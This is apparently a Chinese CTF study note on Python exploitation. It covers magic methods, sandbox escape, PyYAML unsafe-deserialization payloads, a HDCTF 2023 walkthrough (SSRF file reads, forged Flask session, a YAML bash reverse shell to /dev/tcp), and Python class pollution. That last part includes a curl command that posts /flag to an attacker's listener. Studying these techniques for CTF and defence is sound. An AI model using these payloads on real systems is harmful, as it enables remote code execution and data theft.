文件读取正则waf
1.可以用url二次编码文件名进行绕过。
2.貌似还能用一些配置格式进行拼接绕过。
python内置类方法
1.__init__
:初始化方法,负责对实例化对象的属性进行初始化,此方法必须返回None
。有点类似于构造函数,但它是只负责属性初始化,重写该方法可控制对象的初始化过程。
2.__new__
:类的构造方法,用于产生实例化对象(空属性),此方法必须返回一个对象,重写该方法可控制对象的产生过程。该方法特别容易和__init__
方法弄混,可以简单的认为new方法用于触发其他类,init方法用于初始化自身类的属性。
3.__class__、__name__
:__class__
用于获取对象所属类的属性<class '__main__.Student'>,
,而__class__.__name__
则用于获取对象所属类的名字Student
4.__str__、__repr__
:该两个方法都返回一个对象的必要信息。只不过__str__
默认被print调用;而__repr__
默认被控制台输出时调用。简单来说一个是给人阅读的,一个是给机器使用的。
class Student:
def __init__(self, name, age):
self.name = name
self.age = age
def __str__(self):
return f'{self.__class__}, {self.name}, {self.age}'
__repr__ = __str__
stu = Student('zlw', 26)
print(stu)
5.__call__
:和php类似,当我们把对象当作方法调用时,自动触发该方法。
class CallObj(object):
def __call__(self, *args, **kwargs):
print("__call__")
obj = CallObj()
print(callable(obj))
obj() # 调用了对象的__call__方法
6.__iter__
和__next__
:重写这两个方法就可以实现自定义迭代对象。
7.__getitem__、__setitem__和__delitem__
:这三个方法,主要服务于类list、dict类型和key值操作。其中getitem的参数item指的是数组下标,setitem的参数key和value分别是键名和键值,而delitem的key指的也是键名。下面一个demo来演示
class Study:
li = []
tr = {}
def add(self, obj):
self.li.append(obj)
self.tr[obj.name] = obj
def __getitem__(self, item):
print("getitem:",item)
return self.li[item]
def __setitem__(self, key, value):
print("setitem -value:" ,key,value)
self.li[key].name = value
def __delitem__(self, key):
print("delitem, args:", key)
class Students:
data = Study()
def __init__(self, name, age):
self.name = name
self.age = age
self.data.add(self)
def __str__(self):
return f'学生:{self.name}'
__repr__ = __str__
stu1 = Students("xiaom", 17)
stu2 = Students("lim", 20)
stu3 = Students("HAILEI", 21)
stu4 = Students("liun", 19)
print(Students.data[0])
Students.data[2] = "wocao"
print(Students.data[2])
del Students.data[3]
-------------------------------------------------------------
输出结果:
getitem: 0
学生:xiaom
setitem -value: 2 wocao
getitem: 2
学生:wocao
delitem, args: 3
8.__getattr__、__setattr__、__delattr__
:当访问不存在的属性时,触发getattr
方法;初始化不存在的属性,触发setattr
方法;删除不存在属性时,触发delattr
方法。注意,在init中没有对对象进行初始化,然后此时对属性进行赋值,会触发调用setattr
方法,访问属性则会调用getattr
方法,然后就会触发无限循环。所以在类内部,最好用self.__dict__
对对象属性进行赋值。
class Student:
def __getattr__(self, item):
print('访问一个不存在的属性时候触发')
return '不存在'
def __setattr__(self, key, value):
print('设置一个属性值的时候触发')
# self.key = value # 这样会无限循环
self.__dict__[key] = value
def __delattr__(self, item):
print('删除一个属性的时候触发')
if self.__dict__.get(item, None):
del self.__dict__[item]
stu = Student()
stu.name = "xiaoming"
print(stu.name)
print(stu.age)
del stu.num
沙盒逃逸常见默认方法
1.__mro__、__base__、__subclasses__()
:mro(),返回类继承的关系链。base返回类继承的父类。subclasses,返回继承的子类。
2.__globals__
:globals()函数,python在运行时提供了一个__globals__
字典,它属于一个模块,该模块返回一个全局变量的字典,包括所有导入的变量。
3.dir()
方法:用于展示一个对象属性有哪些,没有提供对象时,将导入当前环境的所有模块,例如内建模块__builtins__
。
4.__builtins__
:该模块提供了对python所有内置标识符的直接访问,该模块的命名空间作为初始模块在第一次导入模块时自动创建,加载顺序:内置名称空间------>全局名称空间----->局部名称空间
5.__dict__
:提供一个字典,和dir()类似,在导出内建模块拥有的属性时可用。
class X:
def hello(self):
print('x')
class Y:
def hello(self):
print('y')
def world(self):
print('y_world')
class Z:
def hello(self):
print('z')
class A(X):
def hello(self):
print('a')
class B(Y, Z):
def hello(self):
print('b')
class M(B, A):
pass
print(M.__base__)
print(M.__mro__)
print(Z.__subclasses__())
print(A.__init__.__globals__)
#内置方法并未重写时,默认的数据类型即装饰器为wrapper_descriptor,只有在重写之后才是函数(function),才能具有__globals__属性,当然直接用类中方法A.hello.__globals__也可以返回具有的全局字典。
print(__builtins__.__dict__)
python原型链污染常见默认方法
1.__defults__
:以元组的形式用于获取从左到右的函数默认位置和键值形参的默认值。
def test_a(a,b=2,c=3):
pass
def test_b(a,/,b=2,c=3,d=4):
pass
def test_c(a,*,c=3):
pass
print(test_a.__defaults__)
print(test_b.__defaults__)
print(test_c.__defaults__)
--------------------------------------------------------
(2, 3)
(2, 3, 4)
None
2.__kwdefults__
:以字典的形式按从左到右收录了函数键值形参的默认值
def test_a(a,b=2,c=3):
pass
def test_b(a,/,b=2,c=3,d=4):
pass
def test_c(a,*,c=3):
pass
print(test_a.__kwdefaults__)
print(test_b.__kwdefaults__)
print(test_c.__kwdefaults__)
----------------------------------------------------------------
None
None
{'c': 3}
沙盒逃逸
1.利用原始的Object类找它继承的所有子类,再用子类筛选出可以利用的载入了可以执行命令的模块的类,其中这些模块或类中的方法包括但不仅限于__builtins__、__import__、os、subprocess、open、eval等
2.内建模块__builtins__
往往在全局变量字典__globals__
中,当然有时候在部分类中是可以直接导入的。
session伪造
jwt伪造
flask-session-cookie伪造
SSTI模板注入
Flask debug算pin码rce
yaml序列化
官方文档:https://pyyaml.org/wiki/PyYAMLDocumentation
1.介绍:yaml是一种数据序列化格式,类似于xml,但是语法比xml更简单。
2.语法规则:
- 注释:#
- 对大小写敏感
- 使用缩进表示层级关系,左端用空格对齐
语法示例
1.读取list格式
# 下面格式读到Python里会是个list
- Al1ex
- 0
- name : Tester
---------------------------------------------------------------------------
yaml.safe_load输出:
['Al1ex', 0, {'name': 'Tester'}]
2.复合list结构:
- name : guangji
age : 99
sex : 男
- name : alice
age : 55
sex : 女
---------------------------------------------------------------------------
示例输出:
[{'name': 'guangji', 'age': 99, 'sex': '男'}, {'name': 'alice', 'age': 55, 'sex': '女'}]
3.基本类型:
- 字符型
- 整形
- 浮点型
- 布尔型
- 时间
- 日期
str : "hello world"
int : 50
flout : 3.1415926
bool : true
date : 2023-06-06
--------------------------------------------------------------------------
示例输出:
{'str': 'hello world', 'int': 50, 'flout': 3.1415926, 'bool': True, 'date': datetime.date(2023, 6, 6)}
4.引用使用:和c语言使用引用类似。下列相当于将两个指针均执行了guangji,都是该值的引用。
name: &name guangji
test : *name
---------------------------------------------------------------------
示例输出:
{'name': 'guangji', 'test': 'guangji'}
5.强制类型转换:相当于python中的str()、int()这类,格式为!!+转换类型+要转换的值
int : !!int "7985"
str : !!str 789.2
------------------------------------------------------------------------
示例输出:
{'int': 7985, 'str': '789.2'}
构造、表示、解析器
一、yaml.YAMLObject
官方文档描述:yaml.YAMLObject使用元类魔术来注册一个构造函数,它将一个 YAML 节点转换为一个类实例;以及一个表示器,它将一个类实例序列化为一个 YAML 节点
1.下面是将一个对象转换为yaml节点的代码,其中的yaml_tag
是限定转换后的名字。也就是说构造器的原理和作用就是将对象转换为我们自定义的格式。同理,解析器也是将我们构造好的格式,解析为对象。
import yaml
class Students(yaml.YAMLObject):
yaml_tag = "!Students"
def __init__(self, name, age):
self.name = name
self.age = age
def __repr__(self):
return f"{self.__class__.__name__}(name={self.name},age={self.age})"
stu1 = Students("lifei",29)
print(yaml.dump(stu1)
stu2 = yaml.load(
"""
!Students
age: 28
name: haimeimei
"""
,Loader=yaml.FullLoader)
print(stu2)
------------------------------------------------------------------------
!Students
age: 29
name: lifei
Students(name=haimeimei,age=28)
二、yaml.add_constructor和yaml.add_representer
官方文档:如果您不想使用元类,您可以使用函数yaml.add_constructor和yaml.add_representer.
1.先定义一个表示器,然后将其用add_representer
函数注册,再输出。
class Students:
def __init__(self, name, age):
self.name = name
self.age = age
def __repr__(self):
return f"{self.__class__.__name__}(name={self.name},age={self.age})"
def dice_representer(dumper, data):
return dumper.represent_scalar(u'!Students', f"name={data.name} ,age = {data.age}")
yaml.add_representer(Students, dice_representer)
stu1 = Students("lifei",29)
print(yaml.dump(stu1))
----------------------------------------------------------------------
!Students 'name=lifei ,age = 29'
2.同理,注册构造器的步骤也是相似的,只不过需要用另一个add_constructor
函数。
序列化演示(版本PyYaml>=5.1)
1.我这里用的版本为6.0,有以下序列化方法:
- yaml.load(file,Loader=yaml.Loader)
- yaml.load(file,Loader=yaml.FullLoader)
- yaml.load(file,Loader=yaml.UnsafeLoader)
- yaml.load_all(file, Loader=Loader)
- yaml.load_all(file, Loader=UnsafeLoader)
- yaml.load_all(file,Loader=yaml.FullLoader)
- yaml.full_load(file)
- yaml.full_load_all(file)
- yaml.unsafe_load_all(file)
- yaml.unsafe_load(file)
漏洞产生原因
1.yaml特有的标签解析处理函数列表,在yaml库中文件yaml/constructor.py
其中有三个和对象有关(看注释可以发现):
- !!python/object:module.name { … state … } ->def construct_python_object
- !!python/object/apply or !!python/object/new ->def construct_python_object_apply
2.第一个标签指向的construct_python_object
方法直接调用了cls = self.find_python_name(suffix, node.start_mark)
;第二个标签和第三个标签同样指向的construct_python_object_apply
方法也调用了instance = self.make_python_instance(suffix, node, args, kwds, newobj)
。
3.跟进该方法查看,发现它会根据参数直接生成python类对象或者引入module的类创建对象,从而造成了rce。
def make_python_instance(self, suffix, node,
args=None, kwds=None, newobj=False, unsafe=False):
if not args:
args = []
if not kwds:
kwds = {}
cls = self.find_python_name(suffix, node.start_mark)
if not (unsafe or isinstance(cls, type)):
raise ConstructorError("while constructing a Python instance", node.start_mark,
"expected a class, but found %r" % type(cls),
node.start_mark)
if newobj and isinstance(cls, type):
return cls.__new__(cls, *args, **kwds)
else:
return cls(*args, **kwds)
poc
1.于是我们只要控制yaml.load
之类的方法的内容,头部设置为那三个标签,就能引入os
或者subprocess
之类的模块执行命令。
2.但是由于yaml的版本大于5.1,源码可以发现,已经将很多函数删除了这三个标签的引用,只留下了UnsafeConstructor
的标签,5.1版本之前的很多poc已经失效了,除非代码用到是unsafe_load
函数来加载我们的poc。
3.由于文章中给出的demo在最新版本6.0中已经失效,Loader的选项中删除了Loader模块
,所以就直接拿unsafe_load
函数做演示。
#当然使用其他两个标签也可以:
!!python/object/apply:subprocess.Popen
- calc
------------------------------------------------------------------
import yaml
f = open("test.yaml", "r", encoding='UTF-8')
data = yaml.unsafe_load(f)
f.close()
print(data)
4.虽然5.1的poc失效,但是只要将它的poc形式进行修改,依旧能被5.1以上的版本使用。如以下的poc:
!!python/object/apply:os.system
- whoami
----------------------------------------------------------------------
import yaml
f = open("test.yaml", "r", encoding='UTF-8')
data = yaml.load(f,Loader=yaml.UnsafeLoader)
f.close()
攻击面拓展
1.虽然直接调用模块执行命令不可行,但是可以用沙盒逃逸的形式来执行命令。就比如在上述沙盒逃逸可用默认方法时提到的内建函数builtins
。
2.__builtins__
模块会在程序第一次加载时自动创建,我们就可以使用筛选该模块中加载了哪些类,其中又有哪些可以执行命令的方法能被我们使用。然后就那三个标签来通过导入该模块中的方法进行命令执行。
3.先利用类属性__getitem__
或者getattr函数获得键值,再判断模块是否继承type类型来筛选出可用的类:
import builtins
classes = []
for name1 in __builtins__.__dict__:
obj = __builtins__.__dict__.__getitem__(name1)
if isinstance(obj,type):
classes.append(obj)
print(classes)
-------------------------------------------------------------------
[<class '_frozen_importlib.BuiltinImporter'>, <class 'bool'>, <class 'memoryview'>, <class 'bytearray'>, <class 'bytes'>, <class 'classmethod'>, <class 'complex'>, <class 'dict'>, <class 'enumerate'>, <class 'filter'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'int'>, <class 'list'>, <class 'map'>, <class 'object'>, <class 'range'>, <class 'reversed'>, <class 'set'>, <class 'slice'>, <class 'staticmethod'>, <class 'str'>, <class 'super'>, <class 'tuple'>, <class 'type'>, <class 'zip'>, <class 'BaseException'>, <class 'BaseExceptionGroup'>, <class 'Exception'>, <class 'GeneratorExit'>, <class 'KeyboardInterrupt'>, <class 'SystemExit'>, <class 'ArithmeticError'>, <class 'AssertionError'>, <class 'AttributeError'>, <class 'BufferError'>, <class 'EOFError'>, <class 'ImportError'>, <class 'LookupError'>, <class 'MemoryError'>, <class 'NameError'>, <class 'OSError'>, <class 'ReferenceError'>, <class 'RuntimeError'>, <class 'StopAsyncIteration'>, <class 'StopIteration'>, <class 'SyntaxError'>, <class 'SystemError'>, <class 'TypeError'>, <class 'ValueError'>, <class 'Warning'>, <class 'FloatingPointError'>, <class 'OverflowError'>, <class 'ZeroDivisionError'>, <class 'BytesWarning'>, <class 'DeprecationWarning'>, <class 'EncodingWarning'>, <class 'FutureWarning'>, <class 'ImportWarning'>, <class 'PendingDeprecationWarning'>, <class 'ResourceWarning'>, <class 'RuntimeWarning'>, <class 'SyntaxWarning'>, <class 'UnicodeWarning'>, <class 'UserWarning'>, <class 'BlockingIOError'>, <class 'ChildProcessError'>, <class 'ConnectionError'>, <class 'FileExistsError'>, <class 'FileNotFoundError'>, <class 'InterruptedError'>, <class 'IsADirectoryError'>, <class 'NotADirectoryError'>, <class 'PermissionError'>, <class 'ProcessLookupError'>, <class 'TimeoutError'>, <class 'IndentationError'>, <class 'IndexError'>, <class 'KeyError'>, <class 'ModuleNotFoundError'>, <class 'NotImplementedError'>, <class 'RecursionError'>, <class 'UnboundLocalError'>, <class 'UnicodeError'>, <class 'BrokenPipeError'>, <class 'ConnectionAbortedError'>, <class 'ConnectionRefusedError'>, <class 'ConnectionResetError'>, <class 'TabError'>, <class 'UnicodeDecodeError'>, <class 'UnicodeEncodeError'>, <class 'UnicodeTranslateError'>, <class 'ExceptionGroup'>, <class 'OSError'>, <class 'OSError'>, <class 'OSError'>]
进程已结束,退出代码0
4.这些类中最后能用于执行命令的只要这三个frozenset,bytes,tuple
,原因就是那三个标签会调用类中的__new__
方法来实例化对象,而这三个类中刚好就有__new__
方法,所以才能调用模块来执行命令。
print(dir(tuple)) print(dir(bytes)) print(dir(frozenset))
5.最终文章给出的几条payload:
- !!python/object/new:str
args: []
state: !!python/tuple
- "__import__('os').system('whoami')"
- !!python/object/new:staticmethod
args: [0]
state:
update: !!python/name:exec
------------------------------------------------------------------------
- !!python/object/new:yaml.MappingNode
listitems: !!str '!!python/object/apply:subprocess.Popen [whoami]'
state:
tag: !!str dummy
value: !!str dummy
extend: !!python/name:yaml.unsafe_load
--------------------------------------------------------------------------
!!python/object/new:type
args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
listitems: "__import__('os').system('whoami')"
例题:[HDCTF 2023]YamiYami
1./read
路由发现ssrf,file协议读取文件file:///etc/passwd
;读取启动命令file:///proc/self/cmdline
,工作目录在app下;读取源代码,因为这里正则匹配url,需要双写绕过:read?url=file:///a%25%37%30p/a%25%37%30p.py
#encoding:utf-8
import os
import re, random, uuid
from flask import *
from werkzeug.utils import *
import yaml
from urllib.request import urlopen
app = Flask(__name__)
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*233)
app.debug = False
BLACK_LIST=["yaml","YAML","YML","yml","yamiyami"]
app.config['UPLOAD_FOLDER']="/app/uploads"
@app.route('/')
def index():
session['passport'] = 'YamiYami'
return '''
Welcome to HDCTF2023 <a href="/read?url=https://baidu.com">Read somethings</a>
<br>
Here is the challenge <a href="/upload">Upload file</a>
<br>
Enjoy it <a href="/pwd">pwd</a>
'''
@app.route('/pwd')
def pwd():
return str(pwdpath)
@app.route('/read')
def read():
try:
url = request.args.get('url')
m = re.findall('app.*', url, re.IGNORECASE)
n = re.findall('flag', url, re.IGNORECASE)
if m:
return "re.findall('app.*', url, re.IGNORECASE)"
if n:
return "re.findall('flag', url, re.IGNORECASE)"
res = urlopen(url)
return res.read()
except Exception as ex:
print(str(ex))
return 'no response'
def allowed_file(filename):
for blackstr in BLACK_LIST:
if blackstr in filename:
return False
return True
@app.route('/upload', methods=['GET', 'POST'])
def upload_file():
if request.method == 'POST':
if 'file' not in request.files:
flash('No file part')
return redirect(request.url)
file = request.files['file']
if file.filename == '':
return "Empty file"
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
if not os.path.exists('./uploads/'):
os.makedirs('./uploads/')
file.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))
return "upload successfully!"
return render_template("index.html")
@app.route('/boogipop')
def load():
if session.get("passport")=="Welcome To HDCTF2023":
LoadedFile=request.args.get("file")
if not os.path.exists(LoadedFile):
return "file not exists"
with open(LoadedFile) as f:
yaml.full_load(f)
f.close()
return "van you see"
else:
return "No Auth bro"
if __name__=='__main__':
pwdpath = os.popen("pwd").read()
app.run(
debug=False,
host="0.0.0.0"
)
print(app.config['SECRET_KEY'])
2.首先是查看/upload
路由,这是简单的文件上传功能;关键点是在/boogipop
路由,它开始要判断session
中的passport
值是否为Welcome To HDCTF2023
,这里需要进行伪造。
3.查看key的生成规则,发现是用伪随机数生成的;而uuid.getnode()
的值就是获取计算机的网卡mac值。百度发现该信息存放在/sys/class/net/eth0/address
文件下,读取02:42:ac:02:be:16
。
4.注意这里是python3,版本不同生成的精度也不同。写一个脚本生成key值:220.758999644
,拿生成的key去flask-session-cookie
脚本中生成所需的session。
import random
random.seed(0x0242ac02be16)
SECRET_KEY = str(random.random()*233)
print(SECRET_KEY)
5.将生成的session替换,继续查看下面的源码,它会打开我们上传的文件名,然后用full_load函数解析文件,这里就能造成序列化。黑名单和后缀没有关系,因为load读取的是open的文件中数据流内容,并不会解析后缀是否为yaml格式。
6.注意这题并没有将结果回显,所以需要进行curl或者反弹shell。将文件名命名为1.txt,然后在/upload
路由中上传。最后再替换session的/boogipop
路由中传递/boogipop?file=uploads/1.txt
参数进行反弹shell。最后拿上面的链子替换一下命令就行。
- !!python/object/new:str
args: []
state: !!python/tuple
- "__import__('os').system('bash -c \"bash -i >& /dev/tcp/ip/port <&1\"')"
- !!python/object/new:staticmethod
args: [0]
state:
update: !!python/name:exec
7.反弹成功,在根目录查看flag.sh
,发现flag在/tmp目录下,然后cat /tmp/f*
即可读取flag。
python原型链污染
概念:和JavaScript的原型链污染一样,python也能做到类属性值的污染。但是由于python
部分特殊属性类型限定和安全设置,并不是所有类属性都可以被污染的,不过可见,污染只是污染类属性,不会污染类方法。
合并函数:同样,python的原型链污染也是需要merge
合并函数。一样需要使用将特定值污染到属性当中,一个标准的demo如下:
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
污染实例
1.由于python
子类会继承父类的属性,而在类中声明的属性是唯一的,所以我们就需要污染这些在多个类、多个实例对象中都唯一的属性,比如类中自定义属性和__
开头的内置属性等。
以下是自定义属性污染实例。
class father:
secret = "haha"
class son_a(father):
pass
class son_b(father):
pass
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
instance = son_b()
payload = {
"__class__" : {
"__base__" : {
"secret" : "no way"
}
}
}
print(son_a.secret)
#haha
print(instance.secret)
#haha
merge(payload, instance)
print(son_a.secret)
#no way
print(instance.secret)
2.可用看到结果成功污染了类属性和实例对象的属性sercet
为no way。同理,将内置属性__str__
进行污染也是一样的。修改一下即可
payload = {
"__class__" : {
"__base__" : {
"__str__" : "no way"
}
}
}
print(father.__str__)
#<slot wrapper '__str__' of 'object' objects>
merge(payload, instance)
print(father.__str__)#no way
3.正如提到的,并不是所有属性都可以被污染,比如object
的属性就无法被污染。但是可以看见,我们python的污染和JavaScript的污染有相似之处,比如都是污染父类,一个是__class__.__base__
,一个是__proto__
。
利用
1.在python中,函数或者类方法均具有一个__globals
属性,该属性将函数或类方法所声明的变量空间中的全局变量以字典的形式返回,所以我们使用__globals__
来获得全局变量,这样就可以修改无继承关系的类属性甚至全局变量。
2.例如,这个demo,我们设置的全局变量secret_var
和a类中的属性secret_class_var
均被污染。
secret_var = 114
def test():
pass
class a:
secret_class_var = "secret"
class b:
def __init__(self):
pass
def merge(src, dst):
# Recursive merge function
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
instance = b()
payload = {
"__init__" : {
"__globals__" : {
"secret_var" : 514,
"a" : {
"secret_class_var" : "Pooooluted ~"
}
}
}
}
print(a.secret_class_var)
#secret
print(secret_var)
#114
merge(payload, instance)
print(a.secret_class_var)
#Pooooluted ~
print(secret_var)
#514
3.已加载模块污染:当我们要污染已加载模块时,我们可以通过获取全局变量的方式来得到目标模块。包括还有一些更加复杂的加载关系,不多赘述。可以在原文中自行参阅。
函数形参默认替换
1.先通过观察函数特定的参数类型使用__defaults__
或者__kwdefaults__
来获取要污染的形参名称。然后再通过globals获取到函数并对该形参默认值进行替换。
2.用例题演示。
demo:2023年陕西省赛
from flask import Flask,request
import json
app = Flask(__name__)
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
def evilFunc(arg_1 , * , shell = False):
if not shell:
print(arg_1)
else:
print(__import__("os").popen(arg_1).read())
class Family:
def __init__(self):
pass
family = Family()
@app.route('/',methods=['POST', 'GET'])
def index():
if request.data:
merge(json.loads(request.data), family)
evilFunc("whoami")
return "fun"
@app.route('/eval',methods=['GET'])
def eval():
if request.args.get('cmd'):
cmd = request.args.get('cmd')
evilFunc(cmd)
return "ok"
app.run(host="0.0.0.0",port= 3000,debug=False)
1.该demo和文章中的一致,我们需要污染evilFunc
的形参shell
为真,然后在/eval
路由来执行命令。
2.首先判断形参类型该如何获取,可以看到中间用了*,直接使用__kwdefaults__
即可,最后的payload是__init__.__globals__.evilFunc.__kwdefaults__.shell = True
。转为json格式:
payload = {
"__init__" : {
"__globals__" : {
"evilFunc" : {
"__kwdefaults__" : {
"shell" : True
}
}
}
}
}
3.最后执行curl命令读取flag,服务器监听6666端口:?cmd = curl x.x.x.x:6666 -d @/flag
。